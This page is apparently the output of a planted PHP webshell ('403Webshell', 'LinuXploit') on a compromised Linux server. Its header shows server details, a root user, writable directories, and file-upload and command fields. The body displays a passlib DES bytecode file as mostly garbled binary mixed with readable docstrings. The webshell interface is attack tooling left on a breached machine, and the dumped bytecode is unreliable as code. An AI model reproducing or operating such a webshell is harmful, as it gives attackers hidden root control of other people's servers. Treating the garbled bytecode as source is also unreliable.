403Webshell
Server IP : 157.22.201.140  /  Your IP : 216.73.216.74
Web Server : nginx/1.30.1
System : Linux mit.vincode.fvds.ru 6.8.0-111-generic #111-Ubuntu SMP PREEMPT_DYNAMIC Sat Apr 11 23:16:02 UTC 2026 x86_64
User : root ( 0)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/passlib/crypto/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/passlib/crypto/__pycache__/des.cpython-312.pyc
�

XR_������dZddlZddlmZddlmZmZmZmZmZddgZ	dZ
dZd	Zd
Z
dZdZdxaxaxaad
�Zd�Zej,d�Zd�Zd�Zd�Zd�Zeddd�Zd�Zd�Zdd�Zdd�Z y)a�passlib.crypto.des -- DES block encryption routines

History
=======
These routines (which have since been drastically modified for python)
are based on a Java implementation of the des-crypt algorithm,
found at `<http://www.dynamic.net.au/christos/crypt/UnixCrypt2.txt>`_.

The copyright & license for that source is as follows::

    UnixCrypt.java 0.9 96/11/25
    Copyright (c) 1996 Aki Yoshida. All rights reserved.
    Permission to use, copy, modify and distribute this software
    for non-commercial or commercial purposes and without fee is
    hereby granted provided that this copyright notice appears in
    all copies.

    ---

    Unix crypt(3C) utility
    @version 0.9, 11/25/96
    @author  Aki Yoshida

    ---

    modified April 2001
    by Iris Van den Broeke, Daniel Deville

    ---
    Unix Crypt.
    Implements the one way cryptography used by Unix systems for
    simple password protection.
    @version $Id: UnixCrypt2.txt,v 1.1.1.1 2005/09/13 22:20:13 christos Exp $
    @author Greg Wilkins (gregw)

The netbsd des-crypt implementation has some nice notes on how this all works -
    http://fxr.googlebit.com/source/lib/libcrypt/crypt.c?v=NETBSD-CURRENT
�N)�exc)�join_byte_values�byte_elem_value�iranger�	int_types�expand_des_key�des_encrypt_blocki���l����l����l�~�}�{�wll���s�gc	�P�d}d}d}||f||f||f||f||f||f||f||ffadadaday)z3delay loading tables until they are actually needed))rr� r� r�  r
�r�$r� r� $r)r��l�l�l�@l@l@l@lDlDlDlD)rr�@r� r�@ r� r�@ r�  r�@  r)r��@l@�llHlH�ll@l@lllHlH)rr�r"�r#�r$�r%�r&�r'�r()r��l�lll�lll�lll)rr�r.�r/�r0�@r1�Pr2�@r3�Pr4)r�@� l@ ��@l l@ � �@ l  l@  � l@ l  l@  )rr�r<�r=�r>��r?��r@��rA��rB)r���l��@l@l�@l�@�l��l�l@l@l�@l�@)rr�@rH�rI�@rJ�rK�@rL�rM�@rN)r���l�l�l�lllllll)rr�@rT�rU�@rV�rW�@rX�rY�@rZ)r��l� l l l �llll!l!l!l!)rr�r_�r`�ra�rb� rc� rd� re)r��l��l�l�l�� l"l l"� �l"�l �l"�))rrrrrrrrrIrIrIrI� rkrkrk)rrKr_lri(l l(r.�l l i i(l  l( )rrrrr`r`r`r`r?r?r?r?�rmrmrm)rr#rflrHl�l�l�rCllli@l�l�l�)rrrrrrrrr/r/r/r/�@rnrnrn)rrWrir<�i�i�r1i@i@i@i�@i�@i�@i�@)rrrrr=r=r=r=rbrbrbrb�rprprp)rr"ri r%r&�$i$r[ll l lll$l$)rrUrO��rhl�l�l�r^llll�l�l�l�)rr)r6l rEl@l`l`r!�l l l@l@l`l`)rrTri@ r\l@l@l@@r*l@l@l@@ll@l@l@@)rr7r9r;r�l0l0ril l  l  l l l 0l 0)rrPrlr,l�lr5l@�@l@l@l@l@l@)rr]rS� rDl� l�l� r l(ll(l�l�(l�l�()rrrl@rQ�l@l@rrl@l@lll@l@)rr+rglrl@l@l@rFllllAlAlAlA))rrrrrrrrr=r=r=r=�ryryry)rr?rTi@�rf�l@l@r"i�i@i@�lll@l@)rrrrrUrUrUrUr1r1r1r1�@r{r{r{)rrr[l@r<i� l�l�@rbi l l @i�i� l� l� @)rrrrrrrrr#r#r#r#� r|r|r|)rrKr`lr.rll l r%illiil l )rrrrr/r/r/r/rWrWrWrW�r}r}r})rrr_l@rrl@l@@rOi@�ll@i� i@� lAl@A)rrIrCir]l l l rSlllrwl l l )rrr*�r7rtllrlPl@lPl@lPl@lP)rrHri @rPl�l l �rl�@l @l �@lBl�Bl Bl �B)rr+r,r-rlrulr^lll�lll)rrDrgl�r!l�ll�r)l�ll�rsl�ll�)rrQrFlr6l!l l!rrxlll l!l l!)rrirl0rEl @l@l0@rhrjl�l0��@�l @�l@�l0@�)rr r\�r5l@l@l@r9l l(l(r:l@ l@(l@())r��rri���lll�lllllll)r� � l  ��@l� Dl� @l�  D�@l @l Dl  Dl�@@l� @Dl� D@l�  DD)rr/rWr}r.r0��rb�������)rrEr5�@@r7�@r8�@@rhr��@��@@����@��@��@@�)rrrr
r�  �  �   r�  �  �   r�   �   �    )rrFrDrGr�����r^�����r�����)r�@�@ lD@ �@i@@l@ lD@ �@iD@l@� lDD� iD@iDD@l@� lDD� )r��l� l"l l"�llll l"l l"))@�@"r�r�� @"r� "� r�r�r��@�  � @ rrr�r�r�@ �"r�r�r�r�rr�r�� @r�r�r�rrr�r�r�r�r�r�r�r�r�r�r�r�rr�r�r�r�r�r�rr�r�rr�rr�r�rr�r�r�)@�@  r�  �@�@� �@ r�r��@ r7r�� �@  r�r7r.�@ r�r��  r�rr�r�r�r�r�r�r.r�r�r�r�r�r�r�r�r�rr�r�r.r�r�r�r�r�r�r�rr�r7r�r�r�r�r.r�r�r�r7r�r�)@�@���rh����r�r������r���rW�����rW��rr�r�rhr�r�r�r�r�r���r�r�rr�r�r�rhrWr�r�r�r�r�rr�r�r�r�r�r�rWr�r�r�r�r�r�r�r�r�rr�r�r�r�rhr�)@��@@�@r���@@r�@��@@��@�@��@r/��@@r�r�r�r/��@�@rEr�r�r�r�rEr�rr�r�r�r�r�r�r�r�r�r�r�r�r�r�r�rrEr�rr�r�rEr/r�r�r�r�r�r�r�r�r�r�r�r�r/r�r�)@r�r5r��@�@��@�@r5r��@�r��@rr�r�rv�r�r�rr�rr�r�rvr�r�r�r�r�r�rvr�r5rr�r�r�r�r�rr�r�r�rvr�r�rr�r�r�r�r5r�r�r�r�rr�r�r�)@� �@ r�@r�rF�!r�!�@!�@rr�r��� �@!rr��@ rrFr�r�r�r�r�rrr�r�r�r�r�r�rrr�r�r�r�rr�rrrFr�rr�r�r�r�r�r�rr�r�r�r�rrFr�r�r�r�r�r�r�)@r�r^� �@  �@ !�@ �rrb�@ !�@!� r�� r�r�r�r�r�r�rr�r�r��@  �@!r�r�r�r�r^rbr�r�r�r�r�r^rbr�r�r�r�rr^r�r�r�rr�r�r�r�r�r�rbr�r�r�r�r�r�r�r�)@� @� ���@r� ��@� � �@r�r��r��@� �@� @rrDrrrrr
rrrr�r	rr�rDrr�r�rDr
rrrrrrr	rrrr�rrrr�rr
rrr	rr�rrrrrrDr))rrDrFrGr^r�r�r�rr�r�r�rr�r�r�)rr[r#lrlllr*lllr~lll)rrrr
rr�r�r�rr�r�r�rr�r�r�)r�iiiiiiiiiiiiii)rr,rlr+r-llrSlllllll)rrir6l  rl @l @l  @rl @l @l  @l@@l @@l @@l  @@)rr<rOi��r?r@i��i���rfl�ll�rzl�ll�)rrUrKir=iiirCiiiiiii)rr5rEr�rhr�r�r�r7r8r�r�r�r�r�r�)rr`r_rar\lllr lllr�lll)rrWr/r}rbr�r�r�r.r�r0r�r�r�r�r�)r��iiiiiiiiiiiii)rrQr)lrPrRllr!lrslllll)rrrglr9l l l r]l l l l  l  l  l  )rrrTi@@rHi@@i@@i@@@r1i@@i@@i@@@i@@i@@@i@@@i@@@@)rr%rir"r&iirIiiiiiiiN)�PCXROT�IE3264�SPE�CF6464)�PC1ROT�PC2ROTA�PC2ROTBs   �4/usr/lib/python3/dist-packages/passlib/crypto/des.py�_load_tablesrQs{��A
�F�NA
�G�HA
�G�b�g���'� 2�
�g���'� 2�
�g���'� 2�
�g���'� 2�	�F�!
�F�LA	
�C�PA�F�c�8�d}|D]}|||dzz}|dz}�|S)zdReturns the permutation of the given 32-bit or 64-bit code with
    the specified permutation table.r�r%�)�c�p�out�rs    r�_permuter9s9��
�C�
����q��3��x���	�a�����Jrz>Qc�,�tj|�S)N��_uint64_struct�pack��values r�_pack64r&Js�����u�%�%rc�2�tj|�dS)Nr�r"�unpackr$s r�	_unpack64r*Ms��� � ��'��*�*rc�2�tj|�ddS)Nrr!r$s r�_pack56r,Ps�����u�%�a�b�)�)rc�8�tjd|z�dS)N�rr(r$s r�	_unpack56r/Ss��� � ��5��1�!�4�4r�1i����c�V��t�t�rt��dk7rhtd��t�t�r6�dks	�t
kDrtd��t
tt����Stj�dd��t���t�fd�tD��S)zDconvert DES from 7 bytes to 8 bytes (by inserting empty parity bits)�zkey must be 7 bytes in sizerz'key must be 56-bit non-negative integer�bytes or int�keyc3�4�K�|]}�|z	dzdz���y�w)�rNr)�.0�shiftr4s  �r�	<genexpr>z!expand_des_key.<locals>.<genexpr>us�����O��c�5�j�D�0�1�4�O�s�)�
isinstance�bytes�len�
ValueErrorr�INT_56_MASKr*rr,r�ExpectedTypeErrorr/r�_EXPAND_ITER)r4s`rrrcs�����#�u���s�8�q�=��:�;�;�	�C��	#���7�c�K�'��F�G�G������5�6�6��#�#�C���?�?�
�C�.�C��O�,�O�O�Orc�|�t|t�r6t|�dk7rtd��t	tt
|���St|t�r|dks	|tkDr"td��tj|dd��|dz}d}d}|dkr||d	z|zz}|dz}|d
z
}|dkr�|tzrJ�|S)zGconvert DES key from 8 bytes to 7 bytes (by discarding the parity bits)rUzkey must be 8 bytes in sizer�'key must be 64-bit non-negative integerr3r4r�8r6r2)r:r;r<r=r,�shrink_des_keyr*r�INT_64_MASKrr?)r4�result�offsets   rrDrDws����#�u���s�8�q�=��:�;�;��~�i��n�5�6�6�	�C��	#���7�c�K�'��F�G�G��#�#�C���?�?��A�I�C�
�F�
�F�
�2�+��3��:��&�&����	���!����2�+��+��%�&�&��Mrc��t|t�r?t|�dk(rt|�}nt|�dk7rt	d��t|�}nt
j|dd��t|t�r%t|�dk7rt	d��t|�}nt
j|dd��t||||�}t|�S)a�encrypt single block of data using DES, operates on 8-byte strings.

    :arg key:
        DES key as 7 byte string, or 8 byte string with parity bits
        (parity bit values are ignored).

    :arg input:
        plaintext block to encrypt, as 8 byte string.

    :arg salt:
        Optional 24-bit integer used to mutate the base DES algorithm in a
        manner specific to :class:`~passlib.hash.des_crypt` and its variants.
        The default value ``0`` provides the normal (unsalted) DES behavior.
        The salt functions as follows:
        if the ``i``'th bit of ``salt`` is set,
        bits ``i`` and ``i+24`` are swapped in the DES E-box output.

    :arg rounds:
        Optional number of rounds of to apply the DES key schedule.
        the default (``rounds=1``) provides the normal DES behavior,
        but :class:`~passlib.hash.des_crypt` and its variants use
        alternate rounds values.

    :raises TypeError: if any of the provided args are of the wrong type.
    :raises ValueError:
        if any of the input blocks are the wrong size,
        or the salt/rounds values are out of range.

    :returns:
        resulting 8-byte ciphertext block.
    r2rUzkey must be 7 or 8 bytesr;r4zinput block must be 8 bytes�input)
r:r;r<rr=r*rr?�des_encrypt_int_blockr&)r4rI�salt�roundsrFs     rr	r	�s���B�#�u���s�8�q�=� ��%�C�
��X��]��7�8�8���n���#�#�C��%�8�8��%����u�:��?��:�;�;��%� ���#�#�E�7�G�<�<�#�3��t�V�
<�F��6�?�rc��|dkrtd��|dks	|tkDrtd��t|t�st	j
|dd��|dks	|tkDrtd��t|t�st	j
|dd��|dks	|tkDrtd	��t�
t�t\}}}}}}	}
}d
�}t||��}
|dzdz|d
zdzz|dzdz	z|dzdz	z}|dk(rdx}}n?|dz	dz|dzz}t|t�}|dz	dz|dz	dzz}t|t�}|�r
|dz}|
D]�\}}|dz	|z|z}|dz|z|z|z}|||dz	dz||dz	dzz||dz	dzz||dz	dzz||dz	dzz|	|dz	dzz|
|dz	dzz||dz	dzzz}|dz	|z|z}|dz|z|z|z}|||dz	dz||dz	dzz||dz	dzz||dz	dzz||dz	dzz|	|dz	dzz|
|dz	dzz||dz	dzzz}��||}}|r��
|dz	dz|dzd zz|d!z	d"zz|dzd#zz}t|t�S)$a�encrypt single block of data using DES, operates on 64-bit integers.

    this function is essentially the same as :func:`des_encrypt_block`,
    except that it operates on integers, and will NOT automatically
    expand 56-bit keys if provided (since there's no way to detect them).

    :arg key:
        DES key as 64-bit integer (the parity bits are ignored).

    :arg input:
        input block as 64-bit integer

    :arg salt:
        optional 24-bit integer used to mutate the base DES algorithm.
        defaults to ``0`` (no mutation applied).

    :arg rounds:
        optional number of rounds of to apply the DES key schedule.
        defaults to ``1``.

    :raises TypeError: if any of the provided args are of the wrong type.
    :raises ValueError:
        if any of the input blocks are the wrong size,
        or the salt/rounds values are out of range.

    :returns:
        resulting ciphertext as 64-bit integer.
    rzrounds must be positive integerrz(salt must be 24-bit non-negative integer�intr4rBrIz)input must be 64-bit non-negative integerc3�K�tD]1\}}t||�}t||�}|tz|tzf���3y�w)zCgiven 64-bit key, iterates over the 8 (even,odd) key schedule pairsN)rr�_KS_MASK)�ks_odd�p_even�p_odd�ks_evens    r�_iter_key_schedulez1des_encrypt_int_block.<locals>._iter_key_schedulesF����#�	8�M�F�E��v�v�.�G��g�u�-�F��H�$�f�x�&7�7�7�	8�s�<>�?�i��i�ri�rW�l�*UUiUUUUr�:�2�*�"��
�l<<xx�!l�C��#il�p�a)r=�INT_24_MASKr:rrr?rErrr�listrrr)r4rIrKrL�SPE0�SPE1�SPE2�SPE3�SPE4�SPE5�SPE6�SPE7rU�ks_list�L�RrTrQ�k�B�Cs                     rrJrJ�s���D��z��:�;�;��a�x�4�+�%��C�D�D��c�9�%��#�#�C���6�6�	�q��C�+�%��B�C�C��e�Y�'��#�#�E�5�'�:�:�	���e�k�)��D�E�E��~���69�2�D�$��d�D�$��d�8��%�c�*�+�G���/�b�	 �
��/�b�	 �	"�
��/�a�	�	!���/�b�	 �	"�	�
��z��	��A��r�k�Z�
'�E�J�,>�?���Q�����r�k�Z�
'�U�a�Z�:�,E�F���Q����
��!��� '�	:�O�G�V��R�%�1���$�A��B��!��a��'�)�A�
�$��2��t�|�$�t�Q��U�D�L�'9�9���2��t�|�$�%�'+�Q��U�D�L�'9�:���2��t�|�$�%�'+�Q��U�D�L�'9�:���2��t�|�$�%�(,�Q��T�4�K�'8�9�
:�A�
�R�%�1���$�A��B��!��a��&�(�A�
�$��2��t�|�$�t�Q��U�D�L�'9�9���2��t�|�$�%�'+�Q��U�D�L�'9�:���2��t�|�$�%�'+�Q��U�D�L�'9�:���2��t�|�$�%�(,�Q��T�4�K�'8�9�
:�A�	:�$�!�1��-�8��d�)�
)���e�)�
)�
+���e�)�
)�	
+���d�)�
)�

+���A�v��r)rr)!�__doc__�struct�passlibr�passlib.utils.compatrrrr�__all__rcr>rE�_KDATA_MASK�
_KPARITY_MASKrPrrrrrr�Structr"r&r*r,r/r@rrDr	rJrrr�<module>r{s���%�\��;�;��������� ��!��"�
���"&�%��%��%�#��_�P	�����t�$��&�+�*�5��b��B���P�(�06�pEr

Youez - 2016 - github.com/yon3zu
LinuXploit